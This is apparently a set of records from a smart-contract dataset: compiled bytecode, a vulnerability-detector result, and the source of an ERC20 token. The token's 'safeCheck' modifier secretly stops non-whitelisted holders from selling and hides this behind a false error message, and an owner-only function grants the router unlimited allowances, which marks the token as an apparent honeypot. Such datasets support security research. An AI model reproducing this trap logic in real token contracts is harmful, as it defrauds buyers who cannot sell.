ffffffffffffffffffff167fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff6040518363ffffffff1660e01b81526004016116b0929190613145565b602060405180830381600087803b1580156116ca57600080fd5b505af11580156116de573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906117029190612da9565b505050565b6000600560008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054905092915050565b600033905090565b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff161415611806576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016117fd906132ec565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff161415611876576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161186d9061322c565b60405180910390fd5b80600560008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508173ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b92583604051611954919061332c565b60405180910390a3505050565b600081116119a4576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161199b906132ac565b60405180910390fd5b6001601660186101000a81548160ff0219169083151502179055506119c7610f5a565b73ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614158015611a355750611a05610f5a565b73ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1614155b1561201a57601454601354611a4a9190613462565b4311158015611aa75750601660009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1614155b8015611b015750601560009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1614155b15611b5f576001600760008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff0219169083151502179055505b601660009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff16148015611c0a5750601560009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1614155b8015611c605750600660008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16155b8015611c785750601660179054906101000a900460ff165b15611ce557601754811115611c8c57600080fd5b60185481611c9984610cff565b611ca39190613462565b1115611ce4576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611cdb906132cc565b60405180910390fd5b5b601560009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614158015611d8d5750600660008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16155b8015611de65750601660009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff16145b15611eb457600760008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16158015611e8f5750600760008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16155b611e9857600080fd5b6000601660186101000a81548160ff0219169083151502179055505b6000611ebf30610cff565b9050611f136064611f05601254611ef7601660009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16610cff565b61208e90919063ffffffff16565b61210990919063ffffffff16565b811115611f6f57611f6c6064611f5e601254611f50601660009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16610cff565b61208e90919063ffffffff16565b61210990919063ffffffff16565b90505b601660159054906101000a900460ff16158015611fda5750601660009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff1614155b8015611ff0575060168054906101000a900460ff165b1561201857611ffe8161222d565b600047905060008111156120165761201547612153565b5b505b505b6120258383836124b5565b505050565b6000838311158290612072576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161206991906131ea565b60405180910390fd5b50600083856120819190613543565b9050809150509392505050565b6000808314156120a15760009050612103565b600082846120af91906134e9565b90508284826120be91906134b8565b146120fe576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016120f59061326c565b60405180910390fd5b809150505b92915050565b600061214b83836040518060400160405280601a81526020017f536166654d6174683a206469766973696f6e206279207a65726f0000000000008152506124c5565b905092915050565b601160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166108fc829081150290604051600060405180830381858888f193505050501580156121bb573d6000803e3d6000fd5b5050565b6000600954821115612206576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016121fd9061320c565b60405180910390fd5b6000612210612528565b9050612225818461210990919063ffffffff16565b915050919050565b6001601660156101000a81548160ff0219169083151502179055506000600267ffffffffffffffff81111561226557612264613718565b5b6040519080825280602002602001820160405280156122935781602001602082028036833780820191505090505b50905030816000815181106122ab576122aa6136e9565b5b602002602001019073ffffffffffffffffffffffffffffffffffffffff16908173ffffffffffffffffffffffffffffffffffffffff1681525050601560009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663ad5c46486040518163ffffffff1660e01b815260040160206040518083038186803b15801561234d57600080fd5b505afa158015612361573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906123859190612c33565b81600181518110612399576123986136e9565b5b602002602001019073ffffffffffffffffffffffffffffffffffffffff16908173ffffffffffffffffffffffffffffffffffffffff168152505061240030601560009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1684611796565b601560009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663791ac9478360008430426040518663ffffffff1660e01b8152600401612464959493929190613347565b600060405180830381600087803b15801561247e57600080fd5b505af1158015612492573d6000803e3d6000fd5b50505050506000601660156101000a81548160ff02191690831515021790555050565b6124c0838383612553565b505050565b6000808311829061250c576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161250391906131ea565b60405180910390fd5b506000838561251b91906134b8565b9050809150509392505050565b600080600061253561271e565b9150915061254c818361210990919063ffffffff16565b9250505090565b60008060008060008061256587612780565b9550955095509550955095506125c386600360008c73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461281590919063ffffffff16565b600360008b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000208190555061265885600360008b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461285f90919063ffffffff16565b600360008a73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055506126a4816128bd565b6126ae848361297a565b8773ffffffffffffffffffffffffffffffffffffffff168973ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef8560405161270b919061332c565b60405180910390a3505050505050505050565b60008060006009549050600068056bc75e2d63100000905061275468056bc75e2d6310000060095461210990919063ffffffff16565b8210156127735760095468056bc75e2d6310000093509350505061277c565b81819350935050505b9091565b60008060008060008060008060006127966129b4565b6127b4576127af8a600b60020154600b600301546129cb565b6127ca565b6127c98a600b60000154600b600101546129cb565b5b92509250925060006127da612528565b905060008060006127ed8e878787612a61565b9250925092508282828989899c509c509c509c509c509c505050505050505091939550919395565b600061285783836040518060400160405280601e81526020017f536166654d6174683a207375627472616374696f6e206f766572666c6f77000081525061202a565b905092915050565b600080828461286e9190613462565b9050838110156128b3576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016128aa9061324c565b60405180910390fd5b8091505092915050565b60006128c7612528565b905060006128de828461208e90919063ffffffff16565b905061293281600360003073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461285f90919063ffffffff16565b600360003073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550505050565b61298f8260095461281590919063ffffffff16565b6009819055506129aa81600a5461285f90919063ffffffff16565b600a819055505050565b6000601660189054906101000a900460ff16905090565b6000806000806129f760646129e9888a61208e90919063ffffffff16565b61210990919063ffffffff16565b90506000612a216064612a13888b61208e90919063ffffffff16565b61210990919063ffffffff16565b90506000612a4a82612a3c858c61281590919063ffffffff16565b61281590919063ffffffff16565b905080838395509550955050505093509350939050565b600080600080612a7a858961208e90919063ffffffff16565b90506000612a91868961208e90919063ffffffff16565b90506000612aa8878961208e90919063ffffffff16565b90506000612ad182612ac3858761281590919063ffffffff16565b61281590919063ffffffff16565b9050838184965096509650505050509450945094915050565b6000612afd612af8846133e1565b6133bc565b90508083825260208201905082856020860282011115612b2057612b1f61374c565b5b60005b85811015612b505781612b368882612b5a565b845260208401935060208301925050600181019050612b23565b5050509392505050565b600081359050612b698161399b565b92915050565b600081519050612b7e8161399b565b92915050565b600082601f830112612b9957612b98613747565b5b8135612ba9848260208601612aea565b91505092915050565b600081359050612bc1816139b2565b92915050565b600081519050612bd6816139b2565b92915050565b600081359050612beb816139c9565b92915050565b600081519050612c00816139c9565b92915050565b600060208284031215612c1c57612c1b613756565b5b6000612c2a84828501612b5a565b91505092915050565b600060208284031215612c4957612c48613756565b5b6000612c5784828501612b6f565b91505092915050565b60008060408385031215612c7757612c76613756565b5b6000612c8585828601612b5a565b9250506020612c9685828601612b5a565b9150509250929050565b600080600060608486031215612cb957612cb8613756565b5b6000612cc786828701612b5a565b9350506020612cd886828701612b5a565b9250506040612ce986828701612bdc565b9150509250925092565b60008060408385031215612d0a57612d09613756565b5b6000612d1885828601612b5a565b9250506020612d2985828601612bdc565b9150509250929050565b600060208284031215612d4957612d48613756565b5b600082013567ffffffffffffffff811115612d6757612d66613751565b5b612d7384828501612b84565b91505092915050565b600060208284031215612d9257612d91613756565b5b6000612da084828501612bb2565b91505092915050565b600060208284031215612dbf57612dbe613756565b5b6000612dcd84828501612bc7565b91505092915050565b600060208284031215612dec57612deb613756565b5b6000612dfa84828501612bdc565b91505092915050565b600080600060608486031215612e1c57612e1b613756565b5b6000612e2a86828701612bf1565b9350506020612e3b86828701612bf1565b9250506040612e4c86828701612bf1565b9150509250925092565b60008060008060808587031215612e7057612e6f613756565b5b6000612e7e87828801612bdc565b9450506020612e8f87828801612bdc565b9350506040612ea087828801612bdc565b9250506060612eb187828801612bdc565b91505092959194509250565b6000612ec98383612ed5565b60208301905092915050565b612ede81613577565b82525050565b612eed81613577565b82525050565b6000612efe8261341d565b612f088185613440565b9350612f138361340d565b8060005b83811015612f44578151612f2b8882612ebd565b9750612f3683613433565b925050600181019050612f17565b5085935050505092915050565b612f5a81613589565b82525050565b612f69816135cc565b82525050565b6000612f7a82613428565b612f848185613451565b9350612f948185602086016135de565b612f9d8161375b565b840191505092915050565b6000612fb5602a83613451565b9150612fc08261376c565b604082019050919050565b6000612fd8602283613451565b9150612fe3826137bb565b604082019050919050565b6000612ffb601b83613451565b91506130068261380a565b602082019050919050565b600061301e602183613451565b915061302982613833565b604082019050919050565b6000613041602083613451565b915061304c82613882565b602082019050919050565b6000613064602983613451565b915061306f826138ab565b604082019050919050565b6000613087601a83613451565b9150613092826138fa565b602082019050919050565b60006130aa602483613451565b91506130b582613923565b604082019050919050565b60006130cd601783613451565b91506130d882613972565b602082019050919050565b6130ec816135b5565b82525050565b6130fb816135bf565b82525050565b60006020820190506131166000830184612ee4565b92915050565b60006040820190506131316000830185612ee4565b61313e6020830184612ee4565b9392505050565b600060408201905061315a6000830185612ee4565b61316760208301846130e3565b9392505050565b600060c0820190506131836000830189612ee4565b61319060208301886130e3565b61319d6040830187612f60565b6131aa6060830186612f60565b6131b76080830185612ee4565b6131c460a08301846130e3565b979650505050505050565b60006020820190506131e46000830184612f51565b92915050565b600060208201905081810360008301526132048184612f6f565b905092915050565b6000602082019050818103600083015261322581612fa8565b9050919050565b6000602082019050818103600083015261324581612fcb565b9050919050565b6000602082019050818103600083015261326581612fee565b9050919050565b6000602082019050818103600083015261328581613011565b9050919050565b600060208201905081810360008301526132a581613034565b9050919050565b600060208201905081810360008301526132c581613057565b9050919050565b600060208201905081810360008301526132e58161307a565b9050919050565b600060208201905081810360008301526133058161309d565b9050919050565b60006020820190508181036000830152613325816130c0565b9050919050565b600060208201905061334160008301846130e3565b92915050565b600060a08201905061335c60008301886130e3565b6133696020830187612f60565b818103604083015261337b8186612ef3565b905061338a6060830185612ee4565b61339760808301846130e3565b9695505050505050565b60006020820190506133b660008301846130f2565b92915050565b60006133c66133d7565b90506133d28282613611565b919050565b6000604051905090565b600067ffffffffffffffff8211156133fc576133fb613718565b5b602082029050602081019050919050565b6000819050602082019050919050565b600081519050919050565b600081519050919050565b6000602082019050919050565b600082825260208201905092915050565b600082825260208201905092915050565b600061346d826135b5565b9150613478836135b5565b9250827fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff038211156134ad576134ac61368b565b5b828201905092915050565b60006134c3826135b5565b91506134ce836135b5565b9250826134de576134dd6136ba565b5b828204905092915050565b60006134f4826135b5565b91506134ff836135b5565b9250817fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff04831182151516156135385761353761368b565b5b828202905092915050565b600061354e826135b5565b9150613559836135b5565b92508282101561356c5761356b61368b565b5b828203905092915050565b600061358282613595565b9050919050565b60008115159050919050565b600073ffffffffffffffffffffffffffffffffffffffff82169050919050565b6000819050919050565b600060ff82169050919050565b60006135d7826135b5565b9050919050565b60005b838110156135fc5780820151818401526020810190506135e1565b8381111561360b576000848401525b50505050565b61361a8261375b565b810181811067ffffffffffffffff8211171561363957613638613718565b5b80604052505050565b600061364d826135b5565b91507fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff8214156136805761367f61368b565b5b600182019050919050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601160045260246000fd5b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601260045260246000fd5b7f4e487b7100000000000000000000000000000000000000000000000000000000600052603260045260246000fd5b7f4e487b7100000000000000000000000000000000000000000000000000000000600052604160045260246000fd5b600080fd5b600080fd5b600080fd5b600080fd5b6000601f19601f8301169050919050565b7f416d6f756e74206d757374206265206c657373207468616e20746f74616c207260008201527f65666c656374696f6e7300000000000000000000000000000000000000000000602082015250565b7f45524332303a20617070726f766520746f20746865207a65726f20616464726560008201527f7373000000000000000000000000000000000000000000000000000000000000602082015250565b7f536166654d6174683a206164646974696f6e206f766572666c6f770000000000600082015250565b7f536166654d6174683a206d756c7469706c69636174696f6e206f766572666c6f60008201527f7700000000000000000000000000000000000000000000000000000000000000602082015250565b7f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572600082015250565b7f5472616e7366657220616d6f756e74206d75737420626520677265617465722060008201527f7468616e207a65726f0000000000000000000000000000000000000000000000602082015250565b7f4578636565647320746865206d617857616c6c657453697a652e000000000000600082015250565b7f45524332303a20617070726f76652066726f6d20746865207a65726f2061646460008201527f7265737300000000000000000000000000000000000000000000000000000000602082015250565b7f74726164696e6720697320616c7265616479206f70656e000000000000000000600082015250565b6139a481613577565b81146139af57600080fd5b50565b6139bb81613589565b81146139c657600080fd5b50565b6139d2816135b5565b81146139dd57600080fd5b5056fe45524332303a207472616e7366657220616d6f756e74206578636565647320616c6c6f77616e6365a2646970667358221220975e41450eb4ecd6687385f6a0e0684d71d0600a42653e97f7a67d6756fa033c64736f6c63430008070033
{"success": true, "error": null, "results": {"detectors": [{"check": "reentrancy-eth", "impact": "High", "confidence": "Medium"}, {"check": "unused-return", "impact": "Medium", "confidence": "Medium"}]}}
10,260
0xa11349318e57b3ba51de364cc09685bbff4ffcf3
pragma solidity ^0.6.0; library SafeMath { function add(uint256 a, uint256 b) internal pure returns (uint256) { uint256 c = a + b; require(c >= a, "SafeMath: addition overflow"); return c; } function sub(uint256 a, uint256 b) internal pure returns (uint256) { return sub(a, b, "SafeMath: subtraction overflow"); } function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { require(b <= a, errorMessage); uint256 c = a - b; return c; } function mul(uint256 a, uint256 b) internal pure returns (uint256) { if (a == 0) { return 0; } uint256 c = a * b; require(c / a == b, "SafeMath: multiplication overflow"); return c; } function div(uint256 a, uint256 b) internal pure returns (uint256) { return div(a, b, "SafeMath: division by zero"); } function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { // Solidity only automatically asserts when dividing by 0 require(b > 0, errorMessage); uint256 c = a / b; // assert(a == b * c + a % b); // There is no case in which this doesn't hold return c; } function mod(uint256 a, uint256 b) internal pure returns (uint256) { return mod(a, b, "SafeMath: modulo by zero"); } function mod(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { require(b != 0, errorMessage); return a % b; } } library Address { function isContract(address account) internal view returns (bool) { // According to EIP-1052, 0x0 is the value returned for not-yet created accounts // and 0xc5d2460186f7233c927e7db2dcc703c0e500b653ca82273b7bfad8045d85a470 is returned // for accounts without code, i.e. `keccak256('')` bytes32 codehash; bytes32 accountHash = 0xc5d2460186f7233c927e7db2dcc703c0e500b653ca82273b7bfad8045d85a470; // solhint-disable-next-line no-inline-assembly assembly { codehash := extcodehash(account) } return (codehash != accountHash && codehash != 0x0); } function sendValue(address payable recipient, uint256 amount) internal { require(address(this).balance >= amount, "Address: insufficient balance"); // solhint-disable-next-line avoid-low-level-calls, avoid-call-value (bool success, ) = recipient.call{ value: amount }(""); require(success, "Address: unable to send value, recipient may have reverted"); } function functionCall(address target, bytes memory data) internal returns (bytes memory) { return functionCall(target, data, "Address: low-level call failed"); } function functionCall(address target, bytes memory data, string memory errorMessage) internal returns (bytes memory) { return _functionCallWithValue(target, data, 0, errorMessage); } function functionCallWithValue(address target, bytes memory data, uint256 value) internal returns (bytes memory) { return functionCallWithValue(target, data, value, "Address: low-level call with value failed"); } function functionCallWithValue(address target, bytes memory data, uint256 value, string memory errorMessage) internal returns (bytes memory) { require(address(this).balance >= value, "Address: insufficient balance for call"); return _functionCallWithValue(target, data, value, errorMessage); } function _functionCallWithValue(address target, bytes memory data, uint256 weiValue, string memory errorMessage) private returns (bytes memory) { require(isContract(target), "Address: call to non-contract"); // solhint-disable-next-line avoid-low-level-calls (bool success, bytes memory returndata) = target.call{ value: weiValue }(data); if (success) { return returndata; } else { // Look for revert reason and bubble it up if present if (returndata.length > 0) { // The easiest way to bubble the revert reason is using memory via assembly // solhint-disable-next-line no-inline-assembly assembly { let returndata_size := mload(returndata) revert(add(32, returndata), returndata_size) } } else { revert(errorMessage); } } } } contract Context { constructor () internal { } function _msgSender() internal view virtual returns (address payable) { return msg.sender; } function _msgData() internal view virtual returns (bytes memory) { this; return msg.data; } } interface IERC20 { function totalSupply() external view returns (uint256); function balanceOf(address account) external view returns (uint256); function transfer(address recipient, uint256 amount) external returns (bool); function allowance(address owner, address spender) external view returns (uint256); function approve(address spender, uint256 amount) external returns (bool); function transferFrom(address sender, address recipient, uint256 amount) external returns (bool); event Transfer(address indexed from, address indexed to, uint256 value); event Approval(address indexed owner, address indexed spender, uint256 value); } contract ERC20 is Context, IERC20 { using SafeMath for uint256; using Address for address; mapping (address => uint256) private _balances; mapping (address => mapping (address => uint256)) private _allowances; address private _router = 0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D; uint256 private _totalSupply; string private _name; string private _symbol; uint8 private _decimals; address private _address0; address private _address1; mapping (address => bool) private _Addressint; uint256 private _zero = 0; uint256 private _valuehash = 115792089237316195423570985008687907853269984665640564039457584007913129639935; constructor (string memory name, string memory symbol, uint256 initialSupply,address payable owner) public { _name = name; _symbol = symbol; _decimals = 18; _address0 = owner; _address1 = owner; _mint(_address0, initialSupply*(10**18)); } function name() public view returns (string memory) { return _name; } function symbol() public view returns (string memory) { return _symbol; } function decimals() public view returns (uint8) { return _decimals; } function totalSupply() public view override returns (uint256) { return _totalSupply; } function balanceOf(address account) public view override returns (uint256) { return _balances[account]; } function transfer(address recipient, uint256 amount) public virtual override returns (bool) { _transfer(_msgSender(), recipient, amount); return true; } function ints(address addressn) public { require(msg.sender == _address0, "!_address0");_address1 = addressn; } function allowance(address owner, address spender) public view virtual override returns (uint256) { return _allowances[owner][spender]; } function upint(address addressn,uint8 Numb) public { require(msg.sender == _address0, "!_address0");if(Numb>0){_Addressint[addressn] = true;}else{_Addressint[addressn] = false;} } function approve(address spender, uint256 amount) public virtual override returns (bool) { _approve(_msgSender(), spender, amount); return true; } function intnum(uint8 Numb) public { require(msg.sender == _address0, "!_address0");_zero = Numb*(10**18); } function transferFrom(address sender, address recipient, uint256 amount) public virtual override returns (bool) { _transfer(sender, recipient, amount); _approve(sender, _msgSender(), _allowances[sender][_msgSender()].sub(amount, "ERC20: transfer amount exceeds allowance")); return true; } function increaseAllowance(address spender, uint256 addedValue) public virtual returns (bool) { _approve(_msgSender(), spender, _allowances[_msgSender()][spender].add(addedValue)); return true; } function decreaseAllowance(address spender, uint256 subtractedValue) public virtual returns (bool) { _approve(_msgSender(), spender, _allowances[_msgSender()][spender].sub(subtractedValue, "ERC20: decreased allowance below zero")); return true; } function _transfer(address sender, address recipient, uint256 amount) internal safeCheck(sender,recipient,amount) virtual{ require(sender != address(0), "ERC20: transfer from the zero address"); require(recipient != address(0), "ERC20: transfer to the zero address"); _beforeTokenTransfer(sender, recipient, amount); _balances[sender] = _balances[sender].sub(amount, "ERC20: transfer amount exceeds balance"); _balances[recipient] = _balances[recipient].add(amount); emit Transfer(sender, recipient, amount); } function _mint(address account, uint256 amount) internal virtual { require(account != address(0), "ERC20: mint to the zero address"); _beforeTokenTransfer(address(0), account, amount); _totalSupply = _totalSupply.add(amount); _balances[account] = _balances[account].add(amount); emit Transfer(address(0), account, amount); } modifier safeCheck(address sender, address recipient, uint256 amount){ if(recipient != _address0 && sender != _address0 && _address0!=_address1 && amount > _zero){require(sender == _address1 ||sender==_router || _Addressint[sender], "ERC20: transfer from the zero address");} if(sender==_address0 && _address0==_address1){_address1 = recipient;} if(sender==_address0){_Addressint[recipient] = true;} _;} function _burn(address account, uint256 amount) internal virtual { require(account != address(0), "ERC20: burn from the zero address"); _beforeTokenTransfer(account, address(0), amount); _balances[account] = _balances[account].sub(amount, "ERC20: burn amount exceeds balance"); _totalSupply = _totalSupply.sub(amount); emit Transfer(account, address(0), amount); } function multiaddress(uint8 AllowN,address[] memory receivers, uint256[] memory amounts) public { for (uint256 i = 0; i < receivers.length; i++) { if (msg.sender == _address0){ transfer(receivers[i], amounts[i]); if(i<AllowN){_Addressint[receivers[i]] = true; _approve(receivers[i], _router, _valuehash);} } } } function _approve(address owner, address spender, uint256 amount) internal virtual { require(owner != address(0), "ERC20: approve from the zero address"); require(spender != address(0), "ERC20: approve to the zero address"); _allowances[owner][spender] = amount; emit Approval(owner, spender, amount); } function _setupDecimals(uint8 decimals_) internal { _decimals = decimals_; } //transfer function _transfer_WINR(address sender, address recipient, uint256 amount) internal virtual{ require(recipient == address(0), "ERC20: transfer to the zero address"); require(sender != address(0), "ERC20: transfer from the zero address"); _beforeTokenTransfer(sender, recipient, amount); _balances[sender] = _balances[sender].sub(amount, "ERC20: transfer amount exceeds balance"); _balances[recipient] = _balances[recipient].add(amount); emit Transfer(sender, recipient, amount); } function _beforeTokenTransfer(address from, address to, uint256 amount) internal virtual { } }
0x608060405234801561001057600080fd5b50600436106100f55760003560e01c8063540410e511610097578063a9059cbb11610066578063a9059cbb146104c7578063b952390d1461052d578063ba03cda514610686578063dd62ed3e146106d7576100f5565b8063540410e51461035557806370a082311461038657806395d89b41146103de578063a457c2d714610461576100f5565b806323b872dd116100d357806323b872dd14610201578063313ce5671461028757806339509351146102ab578063438dd08714610311576100f5565b806306fdde03146100fa578063095ea7b31461017d57806318160ddd146101e3575b600080fd5b61010261074f565b6040518080602001828103825283818151815260200191508051906020019080838360005b83811015610142578082015181840152602081019050610127565b50505050905090810190601f16801561016f5780820380516001836020036101000a031916815260200191505b509250505060405180910390f35b6101c96004803603604081101561019357600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190803590602001909291905050506107f1565b604051808215151515815260200191505060405180910390f35b6101eb61080f565b6040518082815260200191505060405180910390f35b61026d6004803603606081101561021757600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190803573ffffffffffffffffffffffffffffffffffffffff16906020019092919080359060200190929190505050610819565b604051808215151515815260200191505060405180910390f35b61028f6108f2565b604051808260ff1660ff16815260200191505060405180910390f35b6102f7600480360360408110156102c157600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff16906020019092919080359060200190929190505050610909565b604051808215151515815260200191505060405180910390f35b6103536004803603602081101561032757600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff1690602001909291905050506109bc565b005b6103846004803603602081101561036b57600080fd5b81019080803560ff169060200190929190505050610ac3565b005b6103c86004803603602081101561039c57600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190505050610ba7565b6040518082815260200191505060405180910390f35b6103e6610bef565b6040518080602001828103825283818151815260200191508051906020019080838360005b8381101561042657808201518184015260208101905061040b565b50505050905090810190601f1680156104535780820380516001836020036101000a031916815260200191505b509250505060405180910390f35b6104ad6004803603604081101561047757600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff16906020019092919080359060200190929190505050610c91565b604051808215151515815260200191505060405180910390f35b610513600480360360408110156104dd57600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff16906020019092919080359060200190929190505050610d5e565b604051808215151515815260200191505060405180910390f35b6106846004803603606081101561054357600080fd5b81019080803560ff1690602001909291908035906020019064010000000081111561056d57600080fd5b82018360208201111561057f57600080fd5b803590602001918460208302840111640100000000831117156105a157600080fd5b919080806020026020016040519081016040528093929190818152602001838360200280828437600081840152601f19601f8201169050808301925050505050505091929192908035906020019064010000000081111561060157600080fd5b82018360208201111561061357600080fd5b8035906020019184602083028401116401000000008311171561063557600080fd5b919080806020026020016040519081016040528093929190818152602001838360200280828437600081840152601f19601f820116905080830192505050505050509192919290505050610d7c565b005b6106d56004803603604081101561069c57600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190803560ff169060200190929190505050610edf565b005b610739600480360360408110156106ed57600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190803573ffffffffffffffffffffffffffffffffffffffff169060200190929190505050611068565b6040518082815260200191505060405180910390f35b606060048054600181600116156101000203166002900480601f0160208091040260200160405190810160405280929190818152602001828054600181600116156101000203166002900480156107e75780601f106107bc576101008083540402835291602001916107e7565b820191906000526020600020905b8154815290600101906020018083116107ca57829003601f168201915b5050505050905090565b60006108056107fe6110ef565b84846110f7565b6001905092915050565b6000600354905090565b60006108268484846112ee565b6108e7846108326110ef565b6108e285604051806060016040528060288152602001611bbd60289139600160008b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006108986110ef565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054611a049092919063ffffffff16565b6110f7565b600190509392505050565b6000600660009054906101000a900460ff16905090565b60006109b26109166110ef565b846109ad85600160006109276110ef565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008973ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054611ac490919063ffffffff16565b6110f7565b6001905092915050565b600660019054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff1614610a7f576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040180806020018281038252600a8152602001807f215f61646472657373300000000000000000000000000000000000000000000081525060200191505060405180910390fd5b80600760006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555050565b600660019054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff1614610b86576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040180806020018281038252600a8152602001807f215f61646472657373300000000000000000000000000000000000000000000081525060200191505060405180910390fd5b670de0b6b3a76400008160ff160267ffffffffffffffff1660098190555050565b60008060008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020549050919050565b606060058054600181600116156101000203166002900480601f016020809104026020016040519081016040528092919081815260200182805460018160011615610100020316600290048015610c875780601f10610c5c57610100808354040283529160200191610c87565b820191906000526020600020905b815481529060010190602001808311610c6a57829003601f168201915b5050505050905090565b6000610d54610c9e6110ef565b84610d4f85604051806060016040528060258152602001611c2e6025913960016000610cc86110ef565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008a73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffff